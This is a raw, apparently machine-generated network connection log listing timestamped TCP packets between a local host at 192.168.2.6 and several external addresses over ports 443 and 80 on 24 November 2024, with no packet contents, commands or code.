Nov 24, 2024 04:20:15.761543036 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.761600018 CET	443	49710	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:15.761755943 CET	49710	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:16.423455954 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:16.423593998 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:16.426418066 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:16.426429987 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:16.426688910 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:16.439296007 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:16.479376078 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:16.909454107 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:16.909482002 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:16.909497976 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:16.909688950 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:16.909708977 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:16.909780979 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.025923014 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.026050091 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.028090000 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.028191090 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.089912891 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.089942932 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.089993954 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.090009928 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.090051889 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.090051889 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.095350027 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.095459938 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.134771109 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.134793043 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.134845018 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.134857893 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.134876966 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.135030031 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.202617884 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.202636003 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.202728987 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.202765942 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.203110933 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.203644037 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.204154015 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.204154015 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.204184055 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.205091000 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.205112934 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.205148935 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.206118107 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.206140995 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.211663961 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.212102890 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.212152958 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.215342045 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.258368969 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.258408070 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.258452892 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.258470058 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.258482933 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.258543968 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.297032118 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.297050953 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.297133923 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.297133923 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.297149897 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.297243118 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.319420099 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.319438934 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.319495916 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.319504976 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.319515944 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.319587946 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.339004040 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.339025021 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.339095116 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.339095116 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.339103937 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.339159966 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.446305037 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.446327925 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.446393967 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.446408987 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.446463108 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.446463108 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.447191000 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:17.462522984 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.462538958 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.462630987 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.462641954 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.462692022 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.478842020 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.478861094 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.478935003 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.478945017 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.478996992 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.494029045 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.494048119 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.494127035 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.494139910 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.494282961 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.503762007 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.503777981 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.503873110 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.503885984 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.503967047 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.515599012 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.515614033 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.515697956 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.515706062 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.515788078 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.518888950 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.518964052 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.518975019 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.519038916 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.525696993 CET	49713	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.525718927 CET	443	49713	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.566804886 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:17.566899061 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:17.599771976 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:17.605993986 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.606028080 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.606096983 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.606389999 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.606404066 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.608489990 CET	49720	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.608623028 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.608625889 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.608665943 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.608724117 CET	49720	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.608752966 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.608911037 CET	49720	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.608947039 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.609561920 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.609589100 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.609659910 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.609775066 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.609792948 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.609810114 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.609829903 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.609843969 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.610003948 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.610019922 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.610044003 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:17.610070944 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:17.678461075 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:17.678494930 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:17.678560972 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:17.681701899 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:17.681730032 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:17.719410896 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:17.882978916 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.883008003 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.883064032 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.883081913 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.883112907 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.883127928 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.883486986 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.883507013 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.883646965 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.883682013 CET	443	49715	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.883725882 CET	49715	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.901340008 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:17.901421070 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:17.901504993 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:17.901936054 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:17.901967049 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:17.954500914 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.954523087 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.954555035 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.954590082 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.954608917 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.954622030 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.954632998 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.954668045 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.955013037 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.955029011 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.955039024 CET	49714	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:17.955044985 CET	443	49714	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:17.971693993 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:17.971725941 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:17.971806049 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:17.972196102 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:17.972209930 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:18.088248968 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:18.088274002 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:18.088310003 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:18.088370085 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:18.088393927 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:18.088452101 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:18.091437101 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:18.091455936 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:18.091540098 CET	49716	443	192.168.2.6	40.126.53.10
Nov 24, 2024 04:20:18.091546059 CET	443	49716	40.126.53.10	192.168.2.6
Nov 24, 2024 04:20:18.108561993 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:18.108620882 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:18.108823061 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:18.109127998 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:18.109154940 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:18.989202023 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:18.989267111 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:18.993058920 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:19.112587929 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:19.385562897 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.386018991 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.386085987 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.386677027 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.386693954 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.388437033 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.388731003 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.388756990 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.389173031 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.389178038 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.401985884 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.402445078 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.402453899 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.403104067 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.403109074 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.454725027 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.461272001 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:19.462907076 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.463027954 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:19.469067097 CET	49720	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.469096899 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.469927073 CET	49720	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.469933033 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.471272945 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.471291065 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.471858025 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.471863031 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.472635984 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:19.497001886 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.497098923 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.592195988 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:19.719146967 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.719274998 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.791685104 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.791754007 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.832571030 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.832663059 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.832854986 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.834837914 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.834860086 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.834866047 CET	49723	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.834871054 CET	443	49723	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.844552040 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.844702959 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.845169067 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.851562977 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.851594925 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.851672888 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.851711988 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.852070093 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.856081963 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.856096983 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.856108904 CET	49721	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.856112957 CET	443	49721	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.857024908 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.857024908 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.857048988 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.857506990 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.857590914 CET	443	49719	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.857654095 CET	49719	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.864198923 CET	49728	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.864218950 CET	443	49728	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.864353895 CET	49728	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.866456032 CET	49728	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.866477013 CET	443	49728	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.868289948 CET	49729	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.868371010 CET	443	49729	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.868465900 CET	49729	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.868699074 CET	49729	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.868736982 CET	443	49729	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.869904041 CET	49730	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.869915962 CET	443	49730	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.870024920 CET	49730	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.870198965 CET	49730	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.870213032 CET	443	49730	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.961745024 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:19.961767912 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:19.961827993 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:19.961868048 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:19.962974072 CET	49718	80	192.168.2.6	185.215.113.206
Nov 24, 2024 04:20:19.965882063 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.965919018 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.965980053 CET	49720	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.965997934 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.966043949 CET	49720	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.966141939 CET	49720	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.966161013 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.966173887 CET	49720	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.966181040 CET	443	49720	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.967648029 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.967681885 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.967746973 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.967747927 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.967809916 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.967964888 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.967971087 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.967995882 CET	49722	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.968000889 CET	443	49722	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.968801975 CET	49731	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.968856096 CET	443	49731	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.969039917 CET	49731	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.969358921 CET	49731	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.969387054 CET	443	49731	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.970164061 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.970202923 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.970518112 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.970668077 CET	49732	443	192.168.2.6	13.107.246.63
Nov 24, 2024 04:20:19.970685005 CET	443	49732	13.107.246.63	192.168.2.6
Nov 24, 2024 04:20:19.988974094 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.988992929 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.989387035 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.989408016 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.989443064 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.989480972 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.989681959 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.989695072 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.989974022 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.990024090 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.990283012 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.990318060 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.990571022 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.990629911 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.992757082 CET	49726	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.992793083 CET	443	49726	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.992875099 CET	49724	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.992904902 CET	443	49724	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.993252039 CET	49725	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.993288994 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.996720076 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.996747017 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.997056007 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.997087002 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:19.997117996 CET	443	49727	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:19.997133017 CET	49727	443	192.168.2.6	20.103.156.88
Nov 24, 2024 04:20:20.046246052 CET	49673	443	192.168.2.6	173.222.162.64
Nov 24, 2024 04:20:20.046255112 CET	49674	443	192.168.2.6	173.222.162.64
Nov 24, 2024 04:20:20.082511902 CET	80	49718	185.215.113.206	192.168.2.6
Nov 24, 2024 04:20:20.311872959 CET	49672	443	192.168.2.6	173.222.162.64
Nov 24, 2024 04:20:20.411391973 CET	443	49725	20.103.156.88	192.168.2.6
Nov 24, 2024 04:20:20.411418915 CET	443	49725	20.103.156.88	192.168.2.6
